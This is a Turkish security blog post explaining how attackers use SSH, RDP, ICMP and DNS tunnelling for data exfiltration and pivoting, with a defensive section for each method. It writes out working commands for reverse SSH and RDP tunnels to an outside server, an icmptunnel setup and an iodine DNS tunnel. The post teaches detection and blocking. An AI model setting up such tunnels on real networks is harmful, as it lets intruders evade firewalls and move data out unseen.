İçerik:
- Tünelleme nedir, nerede kullanılır.
- SSH Tünelleme
- RDP Tünelleme
- ICMP Tünelleme
- DNS Tünelleme

Tünelleme, networkler arası veri iletilirken bir network protokolünü başka bir protokol içerisinden iletmektir.

Tünelleme protokolleri günlük hayatımızda ssh ve vpn gibi bir çok network protokolünde karşımıza çıkabilir.

Bu yazıda, bilinen bazı tünelleme yöntemlerinin saldırganlar tarafından nasıl kullanılacağı, ve buna karşı alınabilecek önlemler anlatılmaya çalışılmıştır.

Saldırganlar iç ağda bir makineyi ele geçirdiğinde dışarıya doğru oluşturduğu trafiğin tespit edilmemesi için veya iç ağda pivoting yaparak erişim olmayan network segmentine erişebilmek için tünelleme tekniklerini kullanabilirler. Burada anlatılan yalnızca bilinen bazı yöntemler ve bazı araçlardır. Birden fazla türevi farklı işletim sistemlerinde çalışabilen ve farklı programlama dillerine ait çok farklı alternatif araçlar vardır.

Amaç:
- Dışarıya veri çıkarmak (Data Exfiltration)
- İç ağda farklı network segmentine erişim sağlamak (Pivoting)

Kullandığımız uygulamalar kendilerine has uygulama katmanı protokolleri ile çalışır. HTTP, SSH, ICMP, DNS gibi. Bu protokollerin her birinin başlık bilgileri olduğu gibi data kısımları da mevcuttur. Bu data kısımlarında farklı protokollerin taşınması sonucu kurulan iletişime tünelleme denilebilir.

Tabiki bu durum networkler arası iletişimde kullanılan OSI standardına aykırı olacaktır. Bu yüzden birbirlerinin dilinden anlayan, yeni encapsulation yapısını çözümlenmesi için client-server mimari ile birbirini anlayan client ve server araçları kullanılır.

SSH bağlantısı
HTTP bağlantısı
SSH içerisinden geçen HTTP bağlantısı

SSH protokolü bize şifreli, güvenli bağlantı kurmamıza, komut çalıştırmamıza veya dosya transferi yapmamıza olanak verir. Bunların yanında port yönlendirme seçeneği de sunar. Port yönlendirme özelliği kullanılarak uygulamalarımıza proxy özelliği kazandırabilir, tüm network trafiğimizi şifreli ssh tünel içerisinden geçirebiliriz.

SSH port yönlendirme yapabilmek için ssh sunucu config dosyasında “AllowTcpForwarding” satırının “yes” olarak kaydedilmesi gerekir.

Remote Port Forwarding ( uzak port yönlendirme ): Erişim sağlanılan ssh sunucudaki bağlantıların ssh client a yönlendirilmesidir.

ssh -R 8080:localhost:80 kali:192.168.1.101

Anlamı:
192.168.1.101 ssh sunucusuna bağlantı sağla, ve bu bağlantı sağladığımız sunucuda 8080 portuna gelen bağlantıları benim (127.0.0.1) 80 portuma yönlendir.

Bu durum uzak sunucuların iç ağa bağlantı kurmasında kolaylık sağlayabilir:

Örnek kullanım 1.

  • İç ağa erişim sağlayan saldırgan uzak sunucudan iç ağdaki sunucuya ssh bağlantısı yapmak isteyebilir. Ancak iç network private ip ye sahip olduğu için bunu direkt yapamayacaktır. Ancak içerden dışarıya yapacağı ssh bağlantısında port yönlendirme kullanarak oluşturduğu tünel içerisinden bağlantı sağlayabilir. Bu duruma reverse ssh diyebiliriz.
ssh -R 2222:localhost:22 kali@uzaksunucuip

İç ağda erişim sağlayan kullanıcı yukarıdaki ssh komutu ile uzak sunucuya bağlantı sağlar. Bu sırada uzak sunucunun 2222 portuna gelen bağlantıların, iç ağdaki bilgisayarın localhost:22 adresine yönlendirmesini söyler.

Bu bağlantı sağlandıktan sonra, uzak sunucunun 2222 portuna bağlantı yapılması durumunda iç ağdaki bilgisayara ssh bağlantısı kurulacaktır.

Uzak Port Yönlendirme ile SSH Bağlantı Örneği

Örnek Kullanım 2

  • İç ağa erişim sağlayan saldırgan RDP bağlantısı yapmak isteyebilir. Bu durumda uzak sunucuya ssh bağlantısı sağlayabiliyorsa yukarıdaki ssh örneğindeki gibi iç ağdaki bilgisayarın 3389 portuna yönlendirme yaparak bunu başarabilir. Bazı kaynaklarda SSH tünelleme ile yapılan bu RDP bağlantılarına RDP tünelleme de denir.
ssh -R 2222:localhost:3389 kali@uzaksunucuip

Bu örnekler ihtiyaca ve hayal gücüne göre artırılabilir.

Dynamic Port Forwarding ( Dinamik port yönlendirme ): Bu yöntemde kullanıcı, uzak SSH sunucusunu bir Socks Proxy olarak kullanabilir. Client makineden yapılan ssh bağlantısında -D parametresi ile hangi portun proxy olarak kullanılacağı belirtilir.

ssh -D 8080 kali@192.168.1.101

Anlamı:
192.168.1.101 ssh sunucusuna bağlantı sağla, kendi 8080 portumu proxy olarak tanımla ve bu proxy bağlantılarımı bağlandığım ssh sunucu üzerinden gerçekleştir.

Bu noktada client kullanıcı proxy olarak 127.0.0.1:8080 adresini Socks proxy olarak kullanabilir, bu proxy e giden tüm istekler ssh sunucusundan internete route edilir.

Örnek Kullanım
Engellenmiş web uygulamalarına iç ağ erişmemize izin vermiyorsa veya yaşadığımız ip kısıtlaması sebebiyle bağlantı kuramadığımız erişim noktaları varsa bu yönteme başvurabiliriz.Ssh dinamik port yönlendirme yaparak, tarayıcımızın proxy ayarını ilgili proxy portuna çekebilir ve bağlanmak istediğimiz web uygulamalarına bağlantı sağlayabiliriz.

Dinamik Yönlendirme ile Proxy oluşturmak

Local port forwarding ( yerel port yönlendirme ): bağlantılarımızı uzak ssh sunucusu vasıtasıyla istediğimiz adrese yönlendirmektir.

ssh -L 8080:ubuntu.com:80 kali:192.168.1.101

Anlamı:
Ben ssh yapan client olarak, local 8080 portuma gelen bağlantıları, (127.0.0.1:8080), ssh bağlantısı kurduğum makina üzerinden ubuntu.com:80 adresine yönlendir.

Yerel port yönlendirme yerine dinamik port yönlendirme daha çok tercih edilebilir.

Nasıl Engelleyebiliriz?

Kurum iç ağından dışarıya doğru yapılan bağlantılarda, firewall veya kullanıyorsa proxy ayarlarından dpi (Deep Packet Inspection) açık hale getirilerek ssh bağlantıları engellenebilir. Client bilgisayarlardan ssh uygulamasını silmek yine kesin çözüm olmayacaktır. Farklı portable ssh uygulamaları port forwarding için kullanılabilecektir.

ICMP Tünelleme

ICMP protokolü içerisinden HTTP, SSH gibi farklı protokollerin geçirilerek kullanılmasına ICMP tünelleme denir. ICMP tünellemenin amacı genellikle güvenlik duvarına yakalanmadan iç ağdan dışarıya veya tam tersi olacak şekilde bağlantı kurmaktır.

Saldırganlar ICMP tünellemeyi veri çıkarmak, ssh bağlantısı vb. bağlantılar sağlamak için kullanabilir. Client - server mantığına dayalı geliştirilen araçlar ile uzak sunucuya ping isteği (ICMP) ile bağlantı kurulur.

Farklı alternatif araçlar ile bu işlem gerçekleştirilebilir. Burada icmptunnel aracı ile örneklenmiştir. Aracın github sayfasında kısa bir dökümantasyonu mevcut. İlk olarak uzak sunucuda ICMP echo paketlerini kapatarak tüneleme için başlangıç ayarını yapabiliriz. Zira tünelleme boyunca uzak sunucudaki araç icmp echo paketleri ile iletişime geçeceğinden sunucunun kendiliğinden göndereceği echo paketlerini kapatmak uygun olacaktır.

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
icmptunnel aracı ile tünelleme ve ssh bağlantısı kurmak

Kullanıcı örnekteki gibi icmp tünel oluşturarak ssh bağlantısı sağlayabilir, Üstelik bu ssh bağlantısını kullanarak yukarıda incelediğimiz dinamik port yönlendirme ile socks proxy haline dönüştürebiliriz.

172.16.0.0 subneti olarak ayarladığımız arayüzler üzerinden netcat bağlantısı sağlayarak bir mesaj gönderelim ve wiresharkta inceleyelim.

ICMP tünel içerisinden nc bağlantısı

Wireshark ile trafiği incelediğimizde netcat bağlantısının ICMP içerisinden, data kısmında iletildiğini görebiliriz. İlk başta sunucu üzerinden icmp echo mesajlarını kapattığımız için artık echo olarak tünelleme mesajları ile sunucu cevap veriyor olacaktır.

Nasıl Engelleyebiliriz?

Çok zaruri değil ise ICMP protokünün iç ağdan dış ağa erişimi kısıtlanabilir. Bu durum mümkün değil ise yine firewall veya mevcut proxy ile dpi yapılarak anormal ICMP paketi büyüklükleri, anormal ICMP trafik büyüklüğü,periyodik ICMP paketlerinin görülmesinin tespit edebileceği güvenlik çözümleri kullanılabiilr.

DNS Tünelleme

DNS tünelleme diğer teknikler gibi veri çıkarma, ips ve güvenlik çözümlerini atlatmak için kullanılabilir. Bağlantı kurma şekli olarak diğer tünelleme teknikleri ile benzerlik gösterir. DNS paketleri küçük boyutlu olacağından trafik yavaş olabilir.

DNS tünellemenin yapılabilmesi için bildiğimiz DNS mantığı / client - server mimarisi kullanılır. Bu noktada client bir dns sorgusu yapmalı, dns sorgusu uzak sunucuda saldırganın istediği bir sunucuya erişmeli ve onunla anlaşmalı olarak bağlantı kurmalıdır. Dolayısıyla bu işlem için bir alan adına sahip olmamız gerekir. DNS tünelleme için farklı alternatifler mevcut. Burada iodine aracı kullanarak bu senaryoyu gerçekleştirmeye çalışacağız. Burada sahip olduğumuz alan adının mydomain.com olduğunu farzedelim.

Alan adına ait dns ayarlarında yukarıda resimde kırmızı ile belirtilen dns kayıtları girilmiş, tunnel.mydomain.com adresine yapılacak isteklerin hangi alan adı sunucusu tarafından cevap verileceği uzak sunucu ip adresini gösterecek şekilde ayarlanmıştır. İlk olarak “dns” adında uzak sunucu ip adresini işaret eden bir A kaydı oluşturulmuş, daha sonra bu A kaydını işaret eden “tunnel” isimli dns kaydı oluşturulmuştur. Dolayısıyla tunnel.mydomain.com adresi için alan adı sunucusu -> dns.mydomain.com adresini, bu adres ise A kaydında görüldüğü üzere iodined sunucunun bulunacağı sahte dns sunucu ip adresini işaret etmiştir.

Sunucu tarafında çalıştırılan komut:

iodined -fP parolamiz 172.16.0.1 tunnel.mydomain.com

Client tarafında çalıştırılan komut:

iodine -fP parolamiz uzaksunucuip tunnel.mydomain.com
DNS tünelleme içerisinden ssh bağlantısı oluşturmak

Nasıl Engelleyebiliriz?

İç ağdan dış ağa yapılan DNS isteklerinin incelenmesi anomali tespiti gibi özellikler barındıran firewall, IPS, IDS sistemlerinin kullanılması ile bu tür saldırılar, anomaliler tespit edilebilir ve engellenebilir.

İç ağda erişim sağlayan saldırganlar dışarıdan içeriye bağlantı kurmak için tünellemeler dışında direkt bağlantı kuran araçlar da kullanabilir. Bu araçlar genellikle portable araçlar olduğu için kullanımı kolaydır ve özel yetkiye ihtiyaç duyulmaz. Private ip adreslerini NAT yaparak public erişime açabilecek bir çok araç mevcuttur. Bu gibi araçların bir çok alternatifleri bedava olarak kullanılabilir. Örnek uygulamalar:

Referanslar

Cyber Security Researcher